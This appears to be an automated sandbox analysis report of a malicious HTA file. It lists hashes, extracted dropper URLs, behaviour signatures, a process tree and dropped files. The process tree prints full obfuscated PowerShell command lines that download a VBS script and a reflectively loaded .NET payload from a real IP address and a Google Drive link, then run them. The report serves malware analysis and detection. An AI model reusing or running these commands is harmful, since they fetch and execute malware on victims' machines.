Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2024 02:37

General

  • Target

    8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta

  • Size

    169KB

  • MD5

    d61ef0038de65f697abb0b7a21b499db

  • SHA1

    f8facfa18bf5eeecaa0601e8c1690fe60fe02ff8

  • SHA256

    8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93

  • SHA512

    3ce0e7e8302d6b6c23ea209b07640be3b616306494d065c0293885bed194002f92bc41f4329f18465dd0ad77087afa6ce5a30a585e422f08a017306040986223

  • SSDEEP

    48:4vaw5oZz7eWLB2rQOyeoCKcxyeoCKnAWUSl+WmpCzc/xJUdPePmkee7+SfitTFmE:4vG172ICeC4lw/HwSCirCtgQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
      "C:\Windows\sYSTEM32\windOWSPowerShell\V1.0\POWeRSHell.eXE" "poweRSheLl.EXe -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT ; Iex($(IEX('[sYstEm.tExT.enCOding]'+[char]0X3a+[char]0x3A+'UtF8.GETStRIng([sySTEM.convERt]'+[CHAR]58+[CHar]58+'fRoMbase64STriNg('+[Char]0x22+'JFZENmI1TUtGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtHRENPeUFFdkgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3Esc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkhuSk9PQWdhTCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNMV0JuWCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3TnZtcExmRlp2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cU9kWVBRUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVkQ2YjVNS0Y6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE1MS82Ni9zZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnb29kZm9ybWV3aXRoLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnby52YnMiLDAsMCk7c3RBcnQtU2xFZXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNlZW1ldGhlYmVzdHRoaW5nc3dpdGhncmVhdG5lZWRzd2l0aGdvLnZicyI='+[cHAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1664
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2088
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rsjf2g8_.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2288
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE9B4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE9B3.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2904
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSEVMbGlkWzFdKyRzaEVsbElkWzEzXSsnWCcpICgoJ2p2TWltYWdlVXJsID0gdUNiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgdUNiO2p2TXdlYkNsaWVudCA9IE5ldy1PYmplYycrJ3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7anZNaW1hZ2VCJysneXRlJysncyA9IGp2TXdlYkNsaWVudC5Eb3dubG9hZERhJysndGEoanZNaW1hZ2VVcmwpO2p2TWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGp2TWltYWdlQnl0ZXMpO2p2TXN0YXJ0RmxhZyA9IHVDYjw8QkFTRTY0X1NUQVJUPj51Q2I7anZNZW5kJysnRmxhZyA9IHVDYjw8QkFTRTY0X0VORD4+dUNiO2p2TXN0YXJ0SW5kZXggPSBqdk1pbWFnZVRleHQuSW5kZXhPZihqdk1zdGFydEZsYWcpO2p2TWVuZEluZGV4ID0ganZNaW1hZ2VUZXh0JysnLkluZGV4T2YnKycoanZNZW5kRmxhZyk7anZNc3RhcnRJbmRleCAtZ2UgMCAtYW5kIGp2TWVuZEluZGV4IC1ndCBqdk1zdGFydEluZGV4O2p2TXN0YXJ0SW5kZXggKz0ganZNc3RhcnRGbGFnLkxlbmd0aDtqdk1iYXNlNjRMZW5ndGggPSBqdk1lbmRJJysnbmRleCAtIGp2TXN0YXJ0SW5kZScrJ3g7anZNYmFzZTY0Q29tbWFuZCA9IGp2TWltYWdlVGV4dC5TdWJzdHJpbmcoanZNc3RhcnRJbmRleCwganZNYmFzZTY0TGVuZ3RoKTtqdk0nKydiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChqdk1iYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgbnJFIEZvckVhJysnY2gtT2JqZWN0IHsganZNXyB9KVstMS4uLShqdk1iYXNlNjRDb21tYW5kLkxlbmd0aCldO2p2TWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoanZNYmFzZTY0UmV2ZXJzZWQpO2p2TWxvYWRlZEFzc2VtYmx5ICcrJz0gW1N5Jysnc3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChqdk1jb21tYW5kQnl0ZXMpO2p2TXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QnKycodUNiVkFJdUNiKTtqdk12YWlNZXRob2QuSW52b2tlKGp2TW51bGwsIEAodUNidHh0LicrJ0dST0wnKydMLzY2LzE1MS44NzEuNjQuODkxLycrJy86cHR0aHVDJysnYiwgdUNiZGVzYXRpdmFkb3VDYiwgdUNiZGVzYScrJ3RpdmFkb3VDYiwgdUNiZGVzYXRpdmFkb3VDYicrJywgdUNiYXNwbicrJ2UnKyd0X3JlZ2Jyb3dzZXJzdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYXRpdmFkb3VDYix1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYScrJ3RpdmFkb3VDYix1Q2IxdUNiLHVDYmRlc2F0aXZhZG91Q2IpKTsnKS5SZXBsQWNlKCdqdk0nLCckJykuUmVwbEFjZSgndUNiJyxbc1RyaW5HXVtjaGFSXTM5KS5SZXBsQWNlKChbY2hhUl0xMTArW2NoYVJdMTE0K1tjaGFSXTY5KSxbc1RyaW5HXVtjaGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHELlid[1]+$shEllId[13]+'X') (('jvMimageUrl = uCbhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur uCb;jvMwebClient = New-Objec'+'t System.Net.WebClient;jvMimageB'+'yte'+'s = jvMwebClient.DownloadDa'+'ta(jvMimageUrl);jvMimageText = [System.Text.Encoding]::UTF8.GetString(jvMimageBytes);jvMstartFlag = uCb<<BASE64_START>>uCb;jvMend'+'Flag = uCb<<BASE64_END>>uCb;jvMstartIndex = jvMimageText.IndexOf(jvMstartFlag);jvMendIndex = jvMimageText'+'.IndexOf'+'(jvMendFlag);jvMstartIndex -ge 0 -and jvMendIndex -gt jvMstartIndex;jvMstartIndex += jvMstartFlag.Length;jvMbase64Length = jvMendI'+'ndex - jvMstartInde'+'x;jvMbase64Command = jvMimageText.Substring(jvMstartIndex, jvMbase64Length);jvM'+'base64Reversed = -join (jvMbase64Command.ToCharArray('+') nrE ForEa'+'ch-Object { jvM_ })[-1..-(jvMbase64Command.Length)];jvMcommandBytes = [System.Convert]::FromBase64String(jvMbase64Reversed);jvMloadedAssembly '+'= [Sy'+'stem.Reflection.Assembly]::Load(jvMcommandBytes);jvMvaiMethod = [dnlib.IO.Home]'+'.GetMethod'+'(uCbVAIuCb);jvMvaiMethod.Invoke(jvMnull, @(uCbtxt.'+'GROL'+'L/66/151.871.64.891/'+'/:ptthuC'+'b, uCbdesativadouCb, uCbdesa'+'tivadouCb, uCbdesativadouCb'+', uCbaspn'+'e'+'t_regbrowsersuCb, uCbdesativadouCb, uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesa'+'tivadouCb,uCb1uCb,uCbdesativadouCb));').ReplAce('jvM','$').ReplAce('uCb',[sTrinG][chaR]39).ReplAce(([chaR]110+[chaR]114+[chaR]69),[sTrinG][chaR]124))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2784

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESE9B4.tmp

    Filesize

    1KB

    MD5

    ecbea5799bbb959bbfe66bc5c0e57cc2

    SHA1

    37878e17e7025b7b711f5563eac1c7bf7bfb5396

    SHA256

    d75b050b0d1d949800c3e79a56c3c84629d70c547f6241bf832c303b9b713e71

    SHA512

    b341a1f63e8386707dd60d00bebee508003b957da6e29b10a8ba2f9976b63d783bca9e92909146b8799a56853e366756e6f631b437b6f881c1821edcc474c498

  • C:\Users\Admin\AppData\Local\Temp\rsjf2g8_.dll

    Filesize

    3KB

    MD5

    bc80eb1512a57d1f42c9adf14677f13b

    SHA1

    2a4642547498844ba29b0c5cb9aacc3e12887aa8

    SHA256

    6d91788c27b376b1e025a5ff307b3cf0d06054512e92cecf477bd00404516027

    SHA512

    cee00e05f5777a91825811c18f461700f8b0b723c5061384f3355972420ea3028735e767c3138798d7f2f8771af30fcfd6ae9553b8e99aa37cc11dd8172ed153

  • C:\Users\Admin\AppData\Local\Temp\rsjf2g8_.pdb

    Filesize

    7KB

    MD5

    77bcd83a412ed5286acca12d0add0808

    SHA1

    8e99e556c0757d16d216a34bc3982235adee5aaf

    SHA256

    b1627c288c8a8bb13383b0d22e6a7ece7e395119c6a58a4de637bc3d58db6dda

    SHA512

    77dca2747cc08bb0555676d2ec969bc10962663977800378662ba5b14f4223df13422edb9dc38a403a6bcd1ca57ba76bfad6785db3b23d209bcf128a28b83c1f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    8c748a3aa06b57c77e3a32294543f76f

    SHA1

    b4314ad685ee354dfa67aaa01e53b847239da41e

    SHA256

    8daf56473de3a6e1e6df9e81e74eb0395a28234ee6842a35c692119ed3456b3b

    SHA512

    e554949bac22d86d9d790be83b7eb75ff1dc6082ee210f8130f8d0cbc053218131b1b27bddcffd741a4c6bd7dd02c2ec63455ae5ccf9a7ead2550a5489e12809

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    00ffc3452b05eb433e6069ab4c9e577b

    SHA1

    612d43a3d1d945b91b3c577b979d4ab7842c64b7

    SHA256

    2430a7399a7c67001436d8a28a6e2c061d0cf9df36b2d9e1a5b7c73c76fb05da

    SHA512

    4e9606bde3a6d40ba4626fe94228655387d220427d8a67b178a00cb6d0ea8dadc9706e7eee443a1c983b4207aedf4884cc8204c3d89c39d66c9268393953f0e8

  • C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs

    Filesize

    138KB

    MD5

    64cc9748329c0e186cacd10d639615e6

    SHA1

    1291f245b185bd05fb09646b79f284d76e7dc0ff

    SHA256

    2c5fffa8231f572e3a34b8d4ca675aec062c3accfe661519a28e376605c0479d

    SHA512

    65ccbfe0223b58675aef7de997229f3ba66be892c851d6cec9018b941f3a5c5cac3c41fbe1878474213293ad25059b06e7ff7f0c4e3320d75a6fa7f071b646ba

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCE9B3.tmp

    Filesize

    652B

    MD5

    1408994f12090b227dfa1eb3846c3a22

    SHA1

    46ec0bf55c5bc9ea5f988ec991dfdf311b54a4b0

    SHA256

    06abfd8e60b2390ee0519132ee78740e58aa2a5ac2a61f3bcd22a14314de4430

    SHA512

    31f836c55776a988ae7d48a0edc1f0940797937b0020e80a3bb13c5e8adc49d525d1a3db67710f1ace9177c1ef88b3c2f93b73be7630d9f4adb3941e6601194d

  • \??\c:\Users\Admin\AppData\Local\Temp\rsjf2g8_.0.cs

    Filesize

    487B

    MD5

    8165df8b1b6d49c15b5e65811de25b8c

    SHA1

    fbe4fe188254b23c8b57b8d1bcd56011a93f34ba

    SHA256

    063172ff26517cdf762b144b713c24d423f75c6493234773c0e241c060dfa9f9

    SHA512

    ede5171453ece61e25baf3eef0a842e92a2b2c47c06bd4ed416f9c0a42e2bbc29f1810b97e4041dcdfd53995fc0e268f20a39188db553cf272b0374994473a2d

  • \??\c:\Users\Admin\AppData\Local\Temp\rsjf2g8_.cmdline

    Filesize

    309B

    MD5

    32202bb612f9ef51cd640325dbe7c5aa

    SHA1

    28e1c7aeb8d2bdf758d75adaa1340e60175dfaaa

    SHA256

    10fe0e08974e2adeb6249a44d88b469fff05150c9308d5eafcefc35cd07ade78

    SHA512

    574c51af53fdf2af577ceb0790eb90648e248d91af95dba54e2a30b598e384c6faed133a62683b4522ac671dce4953b95df5e2df7971b9c426981b63609060d3